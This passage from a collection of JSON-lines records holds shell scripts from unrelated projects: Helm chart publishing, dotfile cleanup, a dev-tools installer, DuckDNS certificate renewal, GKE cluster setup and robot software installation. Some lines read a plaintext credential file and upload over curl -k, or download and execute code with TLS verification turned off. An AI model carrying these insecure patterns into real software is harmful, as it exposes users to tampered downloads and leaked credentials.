\"../../blockstates/$BLOCK.json\"\ndone"} {"text": "#!/usr/bin/env bash\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nhelm package ${DIR} -d ${DIR}\n\nVERSION=$(cat ${DIR}/Chart.yaml | grep \"^version\" | sed -e 's/[[:space:]]//' | cut -d: -f2)\nPACKAGE=$(cat ${DIR}/Chart.yaml | grep \"^name\" | sed -e 's/[[:space:]]//' | cut -d: -f2)\n\n# credential extraction assumes you have your credentials in your \n# home directory in the following format (ignoring indentation):\n#\n# username=myname\n# password=<PASSWORD>\n#\n\nUSERNAME=$(cat ${HOME}/.credentials/jfrog.txt | grep \"^username\" | cut -d= -f2)\nPASSWORD=$(cat ${HOME}/.credentials/jfrog.txt | grep \"^password\" | cut -d= -f2)\n\ncurl -k -u${USERNAME}:${PASSWORD} -T \"${DIR}/${PACKAGE}-${VERSION}.tgz\" \\\n \"https://artifactory.portfolioplus.net/artifactory/app-helm-local/${PACKAGE}-${VERSION}.tgz\"\n\nrm \"${DIR}/${PACKAGE}-${VERSION}.tgz\""} {"text": "#!/bin/bash\n\necho \"Removing symbolic links to dotfiles...\"\n\npushd \"$HOME\" >/dev/null\n[[ -L .bashrc ]] && rm -f .bashrc\n[[ -L .zshrc ]] && rm -f .zshrc\n[[ -L .zprofile ]] && rm -f .zprofile\n[[ -L .profile ]] && rm -f .profile\n[[ -L .vimrc ]] && rm -f .vimrc\n[[ -L .tigrc ]] && rm -f .tigrc\n[[ -L .gitconfig ]] && rm -f .gitconfig\n[[ -L .gitignore_global ]] && rm -f .gitignore_global\n[[ -L .git-completion.bash ]] && rm -f .git-completion.bash\n[[ -L .tmux.conf ]] && rm -f .tmux.conf\n[[ -L .plantuml ]] && rm -rf .plantuml\n[[ -L .ripgreprc ]] && rm -rf .ripgreprc\npopd >/dev/null\n\necho \"Removing $HOME/.zsh...\"\n\npushd \"$HOME\" >/dev/null\n[[ -d .zsh ]] && rm -rf .zsh\npopd >/dev/null"} {"text": "# Run Docker Image Locally\necho 'Starting Docker Run Local'\ndocker run -it --env-file ./.env --network=host ghcr.io/demostheneslld/wevebeeneverywhere:latest"} {"text": "<gh_stars>0\n#!/bin/sh\n\n# Copyright (c) E5R Development Team. All rights reserved.\n# Licensed under the Apache License, Version 2.0. More license information in LICENSE.txt.\n\n# @todo: FreeBSD node:\n#\n# - Download node:\n# $> fetch --no-verify-peer http://pkg.freebsd.org/freebsd:11:x86:32/latest/All/node-devel-5.0.0.txz\n#\n# - Extract jsengine:\n# $> mkdir ./node-devel\n# $> tar -xf node-devel-5.0.0.txz -C ./node-devel\n# $> mv ./node-devel/usr/local/bin/node ./jsengine\n# $> rm -rf ./node-devel\n# $> rm node-devel-5.0.0.txz\n\n# Thank you <NAME>:\n# - https://github.com/creationix/nvm/blob/master/install.sh\n# - https://github.com/creationix/nvm/blob/master/nvm.sh\n\n{\n\n_dev_has() {\n type \"${1}\" > /dev/null 2>&1\n}\n\n_dev_os()\n{\n local uname=`uname`\n if [ ${uname} = \"Darwin\" ]; then\n echo \"darwin\"\n elif [ ${uname} = \"FreeBSD\" ]; then\n echo \"freebsd\"\n elif [ ${uname} = \"Linux\" ]; then\n echo \"linux\"\n else\n echo \"other\"\n fi\n}\n\n_dev_show_error()\n{\n echo \"Error: ${1}\"\n}\n\n# -------------------\n# Check prerequisites\n# -------------------\nif ! _dev_has \"uname\"; then\n _dev_show_error \"Unix uname is required\"\n exit 1\nfi\n\nif [ ! `_dev_os` = \"linux\" ] && [ ! `_dev_os` = \"darwin\" ]; then\n _dev_show_error \"OS \"`_dev_os`\" is not supported\"\n exit 1\nfi\n\nif ! _dev_has \"mktemp\"; then\n _dev_show_error \"Unix mktemp is required\"\n exit 1\nfi\n\nif ! _dev_has \"tar\"; then\n _dev_show_error \"Unix tar is required\"\n exit 1\nfi\n\nif ! _dev_has \"curl\" && ! _dev_has \"wget\" && ! _dev_has \"fetch\"; then\n _dev_show_error \"Tool curl, wget or fetch is required\"\n exit 1\nfi\n\narch=`uname -m`\n\nif [ ${arch} = 'x64' ]; then\n arch='x64'\nelif [ ${arch} = 'x86_64' ]; then\n arch='x64'\nelse\n arch='x86'\nfi\n\ngit_branch=\"develop\"\ndev_home=\"${HOME}/.dev\"\ndev_tools=\"${dev_home}/tools\"\ndev_bin=\"${dev_home}/bin\"\n\n# # HACK: All libraries are installed in \"/lib\" or \"/lib/cmd\". So when these libraries\n# # use \"require('e5r-dev')\" will always find the file \"dist/e5r-dev.js\" as a module,\n# # as is the standard way of resolving NodeJS dependencies.\ndev_lib=\"${dev_home}/lib/node_modules\"\n\nbin_jsengine=\"${dev_tools}/jsengine\"\nbin_jsdev=\"${dev_lib}/e5r-dev.js\"\npost_file=\"${dev_tools}/dev-envvars.sh\"\nnode_version=\"7.4.0\"\nnode_pkg=\"node-v${node_version}-\"`_dev_os`\"-${arch}\"\nnode_pkg_file=\"${node_pkg}.tar.gz\"\nnode_pkg_url=\"https://nodejs.org/dist/v${node_version}/${node_pkg_file}\"\njsdev_url=\"https://raw.githubusercontent.com/e5r/dev/${git_branch}/dist/e5r-dev.js\"\ntemp_dir=`mktemp -duq`\".e5rinstall\"\ntemp_dir_unziped=${temp_dir}\"/unziped\"\n\n_dev_get_webfile() {\n local origin=\"${1}\"\n local destination=\"${2}\"\n\n # @todo: Apply-Proxy\n echo \"Downloading ${origin}...\"\n\n if _dev_has \"curl\"; then\n curl --insecure --silent -o \"${destination}\" \"${origin}\"\n return $?\n elif _dev_has \"wget\"; then\n wget --no-check-certificate --quiet -O \"${destination}\" \"${origin}\"\n return $?\n elif _dev_has \"fetch\"; then\n fetch --no-verify-peer --quiet -o \"${destination}\" \"${origin}\"\n return $?\n else\n _dev_show_error \"Tool curl, wget or fetch undetected.\"\n return 1\n fi\n}\n\n_dev_clear()\n{\n if [ -d ${dev_home} ]; then\n rm -rf \"${dev_home}\"\n fi\n\n if [ -d ${temp_dir} ]; then\n rm -rf \"${temp_dir}\"\n fi\n}\n\n_dev_install() {\n echo \"Preparing E5R Tools for Development Team Installation...\"\n\n # Make directory structure\n mkdir -p \"${dev_tools}\"\n mkdir -p \"${dev_lib}\"\n\n # Make temporary directory structure\n mkdir -p \"${temp_dir}\"\n mkdir -p \"${temp_dir_unziped}\"\n\n # Download NODEJS binary package\n if ! _dev_get_webfile \"${node_pkg_url}\" \"${temp_dir}/${node_pkg_file}\"; then\n _dev_show_error \"On download NODEJS binary package\"\n return 1\n fi\n\n # Extract JSENGINE\n if ! tar -xf \"${temp_dir}/${node_pkg_file}\" -C \"${temp_dir_unziped}\"; then\n _dev_show_error \"On extract JSENGINE\"\n return 1\n fi\n\n cp \"${temp_dir_unziped}/${node_pkg}/bin/node\" \"${bin_jsengine}\"\n chmod a+=x \"${bin_jsengine}\"\n rm -rf \"${temp_dir}\"\n\n if ! _dev_get_webfile \"${jsdev_url}\" \"${bin_jsdev}\"; then\n _dev_show_error \"On download e5r-dev.js script\"\n return 1\n fi\n\n # Invoke $> node e5r-dev.js setup\n if ! ${bin_jsengine} --harmony-async-await \"${bin_jsdev}\" setup --shell=sh; then\n _dev_show_error \"On executing e5r-dev.js setup\"\n return 1\n fi\n}\n\n_dev_setup()\n{\n if ! _dev_install; then\n _dev_clear\n fi\n\n return 0\n}\n\n_dev_setup\n\nexit $?\n\n}"} {"text": "#!/bin/bash\n\nWORK_DIR=/data/workdir\nCONFIG_PATH=/data/options.json\n\nSLEEPTIME=$(jq --raw-output '.sleep_time' $CONFIG_PATH)\nDNSTXTSLEEP=$(jq --raw-output '.dns_txt_sleep' $CONFIG_PATH)\n\n# Let's encrypt\nLE_TERMS=$(jq --raw-output '.lets_encrypt.accept_terms' $CONFIG_PATH)\nSYS_CERTFILE=$(jq --raw-output '.lets_encrypt.certfile' $CONFIG_PATH)\nSYS_KEYFILE=$(jq --raw-output '.lets_encrypt.keyfile' $CONFIG_PATH)\nLE_DOMAINS=$(jq --raw-output '.lets_encrypt.domains[]' $CONFIG_PATH)\nLE_UPDATE=\"0\"\n\n# DuckDNS\nTOKEN=$(jq --raw-output '.duck_dns.token' $CONFIG_PATH)\nDUCK_DNS_DOMAINS=$(jq --raw-output '.duck_dns.domains[]' $CONFIG_PATH)\nexport DuckDNS_Token=\"$TOKEN\"\n\n#acme\n#RENEW_SECONDS=10\nRENEW_SECONDS=43200\n\nfunction copy_certs() {\n echo \"copy certs to /ssl/\"\n cp -f \"$WORK_DIR/fullchain.pem\" \"/ssl/$SYS_CERTFILE\"\n cp -f \"$WORK_DIR/privkey.pem\" \"/ssl/$SYS_KEYFILE\"\n}\n\nfunction renew_certs() {\n echo \"renew certs\"\n if [ \"$LE_TERMS\" == \"true\" ]; then\n \n local domain_args=()\n for domain in $LE_DOMAINS; do\n domain_args+=(\"-d\" \"$domain\")\n done\n \n if [ \"$LE_UPDATE\" == 0 ]; then\n echo \"first issue\"\n #./acme.sh --force --staging\n ./acme.sh \\\n --dnssleep $DNSTXTSLEEP \\\n --issue \"${domain_args[@]}\" --dns dns_duckdns \\\n --cert-home $WORK_DIR \\\n --cert-file $WORK_DIR/cert --key-file \"$WORK_DIR/privkey.pem\" \\\n --ca-file $WORK_DIR/ca --fullchain-file \"$WORK_DIR/fullchain.pem\"\n\n else\n #./acme.sh $ACME_FORCE $ACME_STAGING\n ./acme.sh \\\n --dnssleep $DNSTXTSLEEP \\\n --renew \"${domain_args[@]}\" \\\n --cert-home $WORK_DIR \\\n --cert-file $WORK_DIR/cert --key-file \"$WORK_DIR/privkey.pem\" \\\n --ca-file $WORK_DIR/ca --fullchain-file \"$WORK_DIR/fullchain.pem\"\n fi\n\n if [ $? -eq 0 ]; then\n LE_UPDATE=\"$(date +%s)\"\n copy_certs\n fi\n\n fi\n}\n\nwhile true; do\n echo \"update duck dns\"\n answer=\"$(curl -sk \"https://www.duckdns.org/update?domains=$DUCK_DNS_DOMAINS&token=$TOKEN&ip=&verbose=true\")\" || true\n echo \"$(date): $answer\"\n\n now=\"$(date +%s)\"\n if [ \"$LE_TERMS\" == \"true\" ] && [ $((now - LE_UPDATE)) -ge \"$RENEW_SECONDS\" ]; then\n renew_certs\n fi\n\n echo \"sleep for: $SLEEPTIME\"\n sleep \"$SLEEPTIME\"\ndone"} {"text": "<filename>GTF_info.sh\n#!/bin/bash\n#extracting 5',3'UTR and splicing info from GTF annotations\n\n##########################\n## Usage\n##########################\nusage() {\n echo \"Usage: $0 input.gtf include/exclude keyword output.gtf\"\n echo \"Creates a new GTF file either excluding or including key words\"\n echo \"\"\n echo \"example: genes.gtf\"\n echo \"\"\n echo \" The expected inputs are:\"\n echo \" arg1=input name\"\n echo \"\"\n exit 2\n}\n\nSTART=$(date +%s)\n##checking for correct arguments\n if [ \"$#\" != \"1\" ]\n then\n\tusage\n\texit 1\n fi\n\n##logging arguments\n export input=$1\n\n##generate list of start and stop codon\n awk <$input -F \",\" '/'\"start_codon\"'/{print $1}' > startcodon.csv\n awk <$input -F \",\" '/'\"stop_codon\"'/{print $1}' > stopcodon.csv\n awk <$input -F \",\" '/'\"UTR\"'/{print $1}' > UTR.csv\n\n##split out +/- strand genes\n awk <$input -F '\\t' '$7 ~ /\\+/ {print}' > plusstrand.csv\n awk <$input -F '\\t' '$7 ~ /\\-/ {print}' > minusstrand.csv\n\n##processing + strand genes, into 2 files\n awk <plusstrand.csv -F '[\\t;]' '{print $13}' > try.txt\n\n##list of genes\n awk <plusstrand.csv -F 'gene_name \\\"' '{print $2}' > /tmp/genelist\n awk </tmp/genelist -F '\\\"; ' '{print $1}' | uniq > plusgenes.txt\n awk <minusstrand.csv -F 'gene_name \\\"' '{print $2}' > /tmp/genelist\n awk </tmp/genelist -F '\\\"; ' '{print $1}' | uniq > minusgenes.txt\n\n##list of genes with multiple exons\n awk <$input -F 'gene_name \\\"' '/'\"exon_number \\\"2\\\"\"'/{print $2}' > /tmp/genelist\n awk </tmp/genelist -F '\\\"; ' '{print $1}' | uniq > splicedgenes.txt\n\n##calulating time lapsed\nEND=$(date +%s)\nDIFF=$((END - START))\necho total runtime $DIFF\"s\""} {"text": "<filename>scripts/change_podspec.sh\n# !/bin/bash -e\n\nfile_name=\"MercadoPagoSDK.podspec\"\ntemp_name=\"TempMercadoPagoSDK\"\n\necho \"==========================================\"\necho \"1) Changing .podspec\"\necho \"==========================================\"\n\ncd ..\nmv $file_name $temp_name\ncp $temp_name $file_name\n\nlf=$'\\n'\n\n\ntext=\" s.subspec 'ESC' do |esc|\t\\\\$lf\tesc.dependency 'MercadoPagoSDK\\/Default' \\\\$lf \tesc.dependency 'MLESCManager', '1.0.2' \\\\$lf esc.pod_target_xcconfig = { \\\\$lf 'OTHER_SWIFT_FLAGS[config=Debug]' => '-D MPESC_ENABLE', \\\\$lf 'OTHER_SWIFT_FLAGS[config=Release]' => '-D MPESC_ENABLE', \\\\$lf 'OTHER_SWIFT_FLAGS[config=Testflight]' => '-D MPESC_ENABLE' \\\\$lf } \\\\$lf end\"\n\nsed -e \"20s/^//p; 20s/^.*/ $text\\\\$lf/g\" -e 's/:git.*/:git => \"<EMAIL>:mercadopago\\/px-ios.git\", :tag => s.version.to_s }/' $temp_name | tee $file_name\n\n\necho \"==========================================\"\necho \"2) Validate .podspec --allow-warnings\"\necho \"==========================================\"\n\npod lib lint --allow-warnings --verbose --sources='<EMAIL>:mercadolibre/mobile-ios_specs.git,https://github.com/CocoaPods/Specs'\nSTATUS=$?\nif [ $STATUS -ne 0 ]\n\tthen\n\t\techo \"Error ocurred. Validate podspec.\"\n\t\texit 0\nfi\n\necho \"==========================================\"\necho \"3) Push podspec into mobile-ios_specs\"\necho \"==========================================\"\n\nOUTPUT=\"$(pod repo list | grep -c \"MPPods\")\"\n\n# Add private repo if not set\n\nif test $OUTPUT != 2\n\tthen\n\tpod repo add MPPods <EMAIL>:mercadolibre/mpmobile-ios_specs.git\nfi\n\npod repo push MPPods $file_name --allow-warnings --verbose\n\nrm $file_name\nmv $temp_name $file_name\n\nexit"} {"text": "<gh_stars>0\n#!/bin/zsh\n\nsetopt PROMPT_SUBST\nautoload -U add-zsh-hook\n\ntypeset -gA GIOVFS __GIOVFS_PROMPT_DATA\nGIOVFS[prefix]='['\nGIOVFS[suffix]=']'\nGIOVFS[seperator]='-'\nGIOVFS[icon]='%F{yellow}'\nGIOVFS[text]='%F{green}'\nGIOVFS[default]='%F{red}'\n\nadd-zsh-hook chpwd __GIOVFS_PROMPT_chpwd\nadd-zsh-hook precmd __GIOVFS_PROMPT_precmd\n\nfunction __GIOVFS_PROMPT_chpwd {\n\tlocal key\n\tunset GIOVFS_PROMPT\n\t[[ $PWD =~ ^/run/user/[[:digit:]]*/gvfs/[[:print:]] ]] && __GIOVFS_PROMPT_DATA[vfs]=true\n\tif ${__GIOVFS_PROMPT_DATA[vfs]:-false};then\n\t\tif [[ ${PWD}/ =~ ^${__GIOVFS_PROMPT_DATA[root]}/ ]];then\n\t\t\t__GIOVFS_PROMPT_DATA[root]=$(sed -En 's@(/run/user/[[:digit:]]+/gvfs/[[:alnum:]:=,.-]*)($|/.*)@\\1/@;p' <<<$PWD)\n\t\t\t__GIOVFS_PROMPT_DATA[url]=$(echo -e $(sed -nE 's@/run/user/[[:digit:]]+/gvfs/([[:alnum:]:=%,.-]*)($|/.*)@\\1@;s@([[:alnum:]]*)(:[[:alnum:]:=%,.-]*),(s)sl=true(.*)@\\1\\3\\2\\4@;s@([[:alnum:]]*):@\\1://@;s/host=(.*)/\\1/;/user=/{s://([[:alnum:]].*),user=(.*)://\\2@\\1:};/(,|)prefix=/{s@(,|)prefix=(.*)@\\2@;s/%(..)/\\\\x\\1/g;};p' <<<$PWD))\n\t\t\tGIOVFS_PROMPT=\"${GIOVFS[seperator]}${GIOVFS[prefix]}${GIOVFS[icon]}VFS ${GIOVFS[text]}${__GIOVFS_PROMPT_DATA[url]}${GIOVFS[default]}${GIOVFS[suffix]}\"\n\t\tfi\n\t\t[[ ${PWD} = ^${__GIOVFS_PROMPT_DATA[root]} ]] && __GIOVFS_PROMPT_DATA[pwd]=/\n\telse\n\t\tfor key in ${(@k)__GIOVFS_PROMPT_DATA[@]};do\n\t\t\tunset __GIOVFS_PROMPT_DATA[$key]\n\t\tdone\n\tfi\n}\n\nfunction __GIOVFS_PROMPT_precmd {\n\t__GIOVFS_PROMPT_chpwd\n\tadd-zsh-hook -d precmd __GIOVFS_PROMPT_precmd\n\tunfunction __GIOVFS_PROMPT_precmd\n}"} {"text": "#!/usr/bin/env bash\n\nset -ex\n\nCLUSTER_VERSION=\"1.13.7-gke.24\"\nMTLS_DEFAULT=\"MTLS_PERMISSIVE\"\nZONE=\"us-central1-b\"\nNUM_NODES=4\n\nmain() {\n confirm\n\n local cluster_name\n cluster_name=\"${1}\"\n\n create_cluster \"${cluster_name}\"\n get_cluster_credentials \"${cluster_name}\"\n confirm_installation\n}\n\nconfirm_installation() {\n local context_name\n echo \"Ensure the following services are deployed: istio-citadel, istio-egressgateway, istio-pilot, istio-ingressgateway, istio-policy, istio-sidecar-injector, and istio-telemetry.\"\n kubectl get service -n istio-system\n\n echo \"Ensure the corresponding Kubernetes pods are deployed and all containers are up and running: istio-pilot-*, istio-policy-*, istio-telemetry-*, istio-egressgateway-*, istio-ingressgateway-*, istio-sidecar-injector-*, and istio-citadel-*.\"\n kubectl get pods -n istio-system\n\n context_name=$(kubectl config current-context)\n echo \"Current context: ${context_name}\"\n\n echo \"Setting context in kubeconfig in path: ${KUBECONFIG}...\"\n kubectl set-context \"${context_name}\"\n}\n\nget_cluster_credentials() {\n local cluster_name\n cluster_name=\"${1}\"\n\n echo \"Getting cluster credentials...\"\n gcloud container clusters get-credentials \"${cluster_name}\"\n}\n\ncreate_cluster() {\n local cluster_name\n cluster_name=\"${1}\"\n\n echo \"Creating clusters...\"\n echo \"Setting your mTLS mode to ${MTLS_DEFAULT}...\"\n echo \"Using cluster version ${CLUSTER_VERSION} in zone ${ZONE}...\"\n\n gcloud container clusters create \"${cluster_name}\" \\\n --cluster-version=\"${CLUSTER_VERSION}\" \\\n --zone=\"${ZONE}\" \\\n --machine-type=n1-standard-2 \\\n --num-nodes=\"${NUM_NODES}\" \\\n --no-enable-legacy-authorization\n\n gcloud container clusters get-credentials --zone=\"${ZONE}\" \"${cluster_name}\"\n\n kubectl create clusterrolebinding cluster-admin-binding --clusterrole=cluster-admin --user=\"$(gcloud config get-value core/account)\"\n\n echo \"Done!\"\n}\n\nconfirm() {\n read -r -p \"Are you sure? Have you set up your gcloud stuff (iam, gcloud project)? [y/N] \" response\n case $response in\n [yY][eE][sS]|[yY])\n return\n ;;\n\n *)\n echo \"Bailing out, you said no.\"\n exit 187\n ;;\n esac\n}\n\nmain \"$@\""} {"text": "<filename>entrypoint.sh\n#!/bin/bash\nset -e\n\nif [ \"$1\" = 'composer' ]; then\n\n # Download and create the first time, a new composer project with its dependencies.\n if [ ! -s composer.json -a -n \"$PROJECT_SOURCE\" -a -n \"$SOURCE_TYPE\" ]; then\n\n # Move to temporary folder to avoid overwriting conflicts\n tmpFolder=\"tmp-$HOSTNAME\"\n mkdir $tmpFolder\n cd $tmpFolder\n\n PWD=$(pwd)\n \n # Create the project\n case $SOURCE_TYPE in\n git)\n git clone $PROJECT_FLAGS $PROJECT_SOURCE $PWD\n ;;\n subversion)\n svn checkout $PROJECT_FLAGS $PROJECT_SOURCE $PWD\n ;;\n mercurial)\n hg clone $PROJECT_FLAGS $PROJECT_SOURCE $PWD\n ;;\n targz)\n wget -O /tmp/project.tar.gz $PROJECT_SOURCE \\\n && tar -zxvf /tmp/project.tar.gz -C $PWD \\\n && rm /tmp/project.tar.gz\n ;;\n zip)\n wget -O /tmp/project.zip $PROJECT_SOURCE \\\n && unzip -o /tmp/project.zip -d $PWD \\\n && rm /tmp/project.zip\n ;;\n composer)\n composer --ansi create-project --no-install --no-interaction $PROJECT_FLAGS $PROJECT_SOURCE $PWD $PROJECT_VERSION\n ;;\n *)\n echo \"Invalid SOURCE_TYPE !!!\" \\\n && echo \"Should be used some of the next values:\" \\\n && echo \" \" \\\n && echo \"git\" \\\n && echo \"subversion\" \\\n && echo \"mercurial\" \\\n && echo \"targz\" \\\n && echo \"zip\" \\\n && echo \"composer\" \\\n && exit 1\n ;;\n esac\n\n # Strip first-level folder if exists\n jsonDirectory=$(find $PWD -name composer.json 2>/dev/null | head -n 1 | xargs dirname)\n if [ \"$jsonDirectory\" != \"$PWD\" ]; then\n cp -Rp $jsonDirectory/* $PWD \\\n && rm -rf $jsonDirectory\n fi\n\n # Return to the root project folder and remove the tmp folder\n cd -\n cp -R $tmpFolder/* .\n rm -rf $tmpFolder\n \n # Install dependencies\n composer --ansi install $INSTALL_FLAGS\n\n fi\n\n exec \"$@\" --ansi\n\nfi\n\nexec \"$@\""} {"text": "#!/bin/bash\n\n./node_modules/.bin/traceur --out build/navy.js src/navy.js"} {"text": "#!/bin/bash\n\n# Copyright 2019 Johns Hopkins University (<NAME>)\n# Apache 2.0\n\nif [ $# != 2 ]; then\n echo \"Usage: $0 <JANUS_PATH> <OUTPATH>\"\n exit 1\nfi\ninput_path=$1\noutput_path=$2\n\ndocs=$input_path/docs\nsegm_file=$docs/janus_multimedia.tsv\nkey_file=$docs/janus_multimedia_trials.tsv\n\n# Enrollment DEV\nenroll_dir=$output_path/janus_dev_enroll\nmkdir -p $enroll_dir\nawk -F \"\\t\" '$3 == \"Y\" { \n f=$1; sub(/video\\//,\"videos/\", f);\n print $1, \"'$input_path'/\"f }' $segm_file | \\\n sort -k1,1 > $enroll_dir/vid.scp\nawk '{ print $1,$1}' $enroll_dir/vid.scp | sort -k1,1 > $enroll_dir/utt2spk\nutils/utt2spk_to_spk2utt.pl $enroll_dir/utt2spk > $enroll_dir/spk2utt\n\n\nawk -F \"\\t\" '$3 == \"Y\" { print $1, $11, $12, $13, $12+$14, $13+$15 }' $segm_file > $enroll_dir/face_boundingbox\n\nutils/fix_data_dir.sh $enroll_dir\nutils/validate_data_dir.sh --no-wav --no-text --no-feats $enroll_dir\n\n\n# Test DEV\ntest_dir=$output_path/janus_dev_test_core\nmkdir -p $test_dir\nawk -F \"\\t\" '$4 == \"Y\" { \n f=$1; sub(/video\\//,\"videos/\", f);\n print $1, \"'$input_path'/\"f}' $segm_file | \\\n sort -k1,1 -u > $test_dir/vid.scp\nawk '{ print $1,$1}' $test_dir/vid.scp | sort -k1,1 > $test_dir/utt2spk\ncp $test_dir/utt2spk $test_dir/spk2utt\n\nawk -F \"\\t\" '$4==\"DEV.CORE\" { sub(/N/,\"nontarget\",$3); sub(/Y/,\"target\",$3); print $1,$2,$3 }' $key_file > $test_dir/trials\n\nutils/fix_data_dir.sh $test_dir\nutils/validate_data_dir.sh --no-wav --no-text --no-feats $test_dir\n\n\n# Enrollment EVAL\nenroll_dir=$output_path/janus_eval_enroll\nmkdir -p $enroll_dir\nawk -F \"\\t\" '$6 == \"Y\" { \n f=$1; sub(/video\\//,\"videos/\", f);\n print $1, \"'$input_path'/\"f}' $segm_file | \\\n sort -k1,1 > $enroll_dir/vid.scp\nawk '{ print $1,$1}' $enroll_dir/vid.scp | sort -k1,1 > $enroll_dir/utt2spk\nutils/utt2spk_to_spk2utt.pl $enroll_dir/utt2spk > $enroll_dir/spk2utt\n\nawk -F \"\\t\" '$6 == \"Y\" { print $1, $11, $12, $13, $12+$14, $13+$15 }' $segm_file > $enroll_dir/face_boundingbox\n\nutils/fix_data_dir.sh $enroll_dir\nutils/validate_data_dir.sh --no-wav --no-text --no-feats $enroll_dir\n\n\n# Test set EVAL\ntest_dir=$output_path/janus_eval_test_core\nmkdir -p $test_dir\nawk -F \"\\t\" '$7 == \"Y\" && $1 !~ /1041/ { \n f=$1; sub(/video\\//,\"videos/\", f);\n print $1, \"'$input_path'/\"f}' $segm_file | \\\n sort -k1,1 -u > $test_dir/vid.scp\nawk '{ print $1,$1}' $test_dir/vid.scp | sort -k1,1 > $test_dir/utt2spk\ncp $test_dir/utt2spk $test_dir/spk2utt\n\nawk -F \"\\t\" '$4==\"EVAL.CORE\" { sub(/N/,\"nontarget\",$3); sub(/Y/,\"target\",$3); print $1,$2,$3 }' $key_file > $test_dir/trials\n\nutils/fix_data_dir.sh $test_dir\nutils/validate_data_dir.sh --no-wav --no-text --no-feats $test_dir"} {"text": "sudo pip install -r src/python_lib/requirements.txt"} {"text": "<reponame>golems/HuboCan\n#!/bin/sh\n\nShowUsage()\n{\n echo \"There are two modes of installation: robot and workstation\"\n echo \" \"\n echo \" -- robot -- \"\n echo \" This is for installing HuboCan on the physical Hubo itself.\"\n echo \" When running the script, pass in 'robot' followed by the\"\n echo \" version of Hubo which you have. Ex:\"\n echo \" $ ./setup robot Hubo2Plus\"\n echo \" \"\n echo \" Currently supported versions include:\"\n echo \" - Hubo2Plus\"\n echo \" - DrcHubo\"\n echo \" \"\n echo \" -- workstation -- \"\n echo \" This is for installing HuboCan on a remote workstation\"\n echo \" (i.e. a computer which is for developing code or for\"\n echo \" an operator to use). When running the script, simply\"\n echo \" pass in 'workstation'. Ex:\"\n echo \" $ ./setup workstation\"\n echo \" \"\n echo \" -- uninstall -- \"\n echo \" This is for uninstalling any headers, binaries, and startup\"\n echo \" scripts used by the HuboCan Package. Passing in the argument\"\n echo \" 'purge' will also destroy the contents of /opt/hubo, which\"\n echo \" will effectively clear all trace of HuboCan from your system.\"\n echo \" Ex:\"\n echo \" $ ./setup uninstall\"\n echo \" \"\n echo \" -- offline -- \"\n echo \" Pass in 'offline' (without quotes) when performing a robot or \"\n echo \" workstation install in order to run the script without checking \"\n echo \" for dependencies online. If the dependencies are missing, this \"\n echo \" will make the installation fail, but otherwise all other setup \"\n echo \" can be performed.\"\n echo \" Ex:\"\n echo \" $ ./setup workstation offline\"\n echo \" \"\n}\n\nMakeBuildDirectory()\n{\n if [ -d \"build\" ]\n then\n echo 'Build directory was found'\n new_build_dir=0\n else\n echo 'Making build directory'\n mkdir build\n new_build_dir=1\n fi\n}\n\nSetupAptList()\n{\n echo 'Updating golems.list'\n sudo cp misc/golems.list /etc/apt/sources.list.d/golems.list\n}\n\nGetDependencies()\n{\n sudo apt-get update\n sudo apt-get install libach-dev ach-utils\n sudo apt-get install libeigen3-dev\n}\n\nCopyDevices()\n{\n echo 'Copying device files into /opt/hubo/devices'\n cp -r ../devices /opt/hubo/\n}\n\nCopyConfigs()\n{\n if [ -d \"/opt/hubo/mgr/\" ]\n then\n echo '/opt/hubo/mgr already exists'\n else\n sudo mkdir /opt/hubo/mgr\n sudo chmod a+rwx /opt/hubo/mgr\n fi\n\n# if [ -d \"/opt/hubo/mgr/configs/\" ]\n# then\n# echo '/opt/hubo/mgr/configs already exists'\n# else\n# echo 'Creating /opt/hubo/mgr/configs'\n# sudo mkdir /opt/hubo/mgr/configs\n# sudo chmod a+rwx /opt/hubo/mgr/configs\n# fi\n\n cp -r ../misc/configs /opt/hubo/mgr/\n}\n\nCreateOptHubo()\n{\n if [ -d \"/opt/hubo\" ]\n then\n echo '/opt/hubo already exists'\n else\n echo 'Creating /opt/hubo'\n sudo mkdir /opt/hubo\n sudo chmod a+rwx /opt/hubo\n fi\n\n CopyDevices\n CopyConfigs\n}\n\nAutostartManager()\n{\n echo 'Setting hubomgr to autolaunch after boot'\n# sudo cp ../misc/hubomgr.conf /etc/init/hubomgr.conf\n\n sudo cp ../misc/hubo-manager /etc/init.d/hubo-manager\n sudo chmod a+x /etc/init.d/hubo-manager\n sudo update-rc.d hubo-manager defaults\n}\n\nRemoveAutostart()\n{\n sudo update-rc.d -f hubo-manager remove\n}\n\nRawRobotInstall()\n{\n echo \"Performing robot installation for $2\"\n\n if [ \"$3\" = 'offline' ]\n then\n echo 'Offline -- not checking dependencies'\n else\n SetupAptList\n GetDependencies\n fi\n\n MakeBuildDirectory\n\n cd build\n cmake .. -DBuildHuboQt=OFF -DCMAKE_INSTALL_PREFIX=/usr\n make\n sudo make install\n\n CreateOptHubo\n AutostartManager\n\n /usr/bin/hubocan_set_default_config \"$2\"\n\n echo 'robot' > /opt/hubo/install_type\n}\n\nRobotInstall()\n{\n case \"$2\" in\n\n '')\n ShowUsage\n exit 2\n ;;\n\n 'Hubo2Plus')\n RawRobotInstall $@\n ;;\n\n 'DrcHubo')\n RawRobotInstall $@\n ;;\n\n *)\n ShowUsage\n exit 2\n ;;\n\n esac\n}\n\nWorkstationInstall()\n{\n if [ \"$2\" = 'offline' ]\n then\n echo 'Offline -- not checking dependencies'\n else\n SetupAptList\n GetDependencies\n sudo apt-get install libqt4-dev\n fi\n\n MakeBuildDirectory\n\n cd build\n cmake .. -DBuildHuboQt=ON -DCMAKE_INSTALL_PREFIX=/usr\n make\n sudo make install\n\n CreateOptHubo\n\n /usr/bin/hubocan_set_default_config virtual_Hubo2Plus\n\n echo 'workstation' > /opt/hubo/install_type\n}\n\nHuboUninstall()\n{\n MakeBuildDirectory\n\n cd build\n\n if [ -e \"/opt/hubo/install_type\" ]\n then\n install_type=$(sudo cat /opt/hubo/install_type)\n else\n install_type=workstation\n fi\n\n if [ \"$new_build_dir\" -eq 1 ]\n then\n echo 'Since a build directory did not exist, we must compile and install before uninstalling'\n if [ \"$install_type\" = 'robot' ]\n then\n cmake .. -DBuildHuboQt=OFF -DCMAKE_INSTALL_PREFIX=/usr\n else\n cmake .. -DBuildHuboQt=ON -DCMAKE_INSTALL_PREFIX=/usr\n fi\n\n make\n sudo make install\n fi\n\n sudo make uninstall\n\n if [ \"$install_type\" = 'robot' ]\n then\n sudo update-rc.d -f hubo-manager remove\n sudo rm -f /etc/init.d/hubo-manager\n fi\n\n case \"$2\" in\n 'purge')\n sudo rm -rf 